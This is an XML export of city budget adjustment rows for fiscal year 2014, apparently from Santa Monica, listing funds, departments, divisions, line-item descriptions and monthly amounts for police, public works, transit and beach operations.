<row _id="8398"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511491.0</object><object_description>OVERTIME CONTINGENCY</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>400000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>400000.0</total></row>
<row _id="8399"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>401890.0</object><object_description>WIRELESS FACILITY FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
<row _id="8400"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408020.0</object><object_description>TRAFFIC CONTROL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-87275.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-87275.0</total></row>
<row _id="8401"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>533420.0</object><object_description>ENGINEERING-TRANS OUT TO 01 FD</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>232291.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>232291.0</total></row>
<row _id="8402"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>566500.0</object><object_description>RECRUITMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20500.0</total></row>
<row _id="8403"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544011.0</object><object_description>CHEMICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>166381.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>166381.0</total></row>
<row _id="8404"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>413650.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>413650.0</total></row>
<row _id="8405"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>555430.0</object><object_description>WASTE DISPOSAL (BRINING)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>57293.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>57293.0</total></row>
<row _id="8406"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4794.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4794.0</total></row>
<row _id="8407"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13527.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13527.0</total></row>
<row _id="8408"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3075.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3075.0</total></row>
<row _id="8409"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>51759.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51759.0</total></row>
<row _id="8410"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-15915.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-15915.0</total></row>
<row _id="8411"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>404587.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>404587.0</total></row>
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<row _id="8429"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>31529.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31529.0</total></row>
<row _id="8430"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3949.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3949.0</total></row>
<row _id="8431"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>408473.0</object><object_description>OTHER BUSINESS PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-27244.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-27244.0</total></row>
<row _id="8432"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408680.0</object><object_description>ILLEGAL DISPOSAL ABATEMENT GRA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-398064.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-398064.0</total></row>
<row _id="8433"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>577710.0</object><object_description>DOWNTOWN SHUTTLE PROGRAM</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>377195.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>377195.0</total></row>
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<row _id="8435"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3037.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3037.0</total></row>
<row _id="8436"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>513.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>513.0</total></row>
<row _id="8437"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>336.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>336.0</total></row>
<row _id="8438"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544193.0</object><object_description>CLEANING SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>88068.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>88068.0</total></row>
<row _id="8439"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544199.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>130000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>130000.0</total></row>
<row _id="8440"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3998.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3998.0</total></row>
<row _id="8441"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1825.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1825.0</total></row>
<row _id="8442"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-10250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10250.0</total></row>
<row _id="8443"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3941.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3941.0</total></row>
<row _id="8444"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-5059.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5059.0</total></row>
<row _id="8445"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="8446"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5100.0</total></row>
<row _id="8447"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4907.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4907.0</total></row>
<row _id="8448"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1925.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1925.0</total></row>
<row _id="8449"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>783.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>783.0</total></row>
<row _id="8450"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>540.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>540.0</total></row>
<row _id="8451"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6750.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6750.0</total></row>
<row _id="8452"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8453"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>28518.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28518.0</total></row>
<row _id="8454"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>544160.0</object><object_description>RIDESHARE PROGRAM</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>96000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>96000.0</total></row>
<row _id="8455"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>408490.0</object><object_description>RESIDENTIAL REPORT MONITORING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
<row _id="8456"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408550.0</object><object_description>NO NET NEW TRIPS TOOLKIT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8457"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8170.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8170.0</total></row>
<row _id="8458"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>137072.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>137072.0</total></row>
<row _id="8459"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1244.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1244.0</total></row>
<row _id="8460"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>255.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>255.0</total></row>
<row _id="8461"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>32000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32000.0</total></row>
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<row _id="8463"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
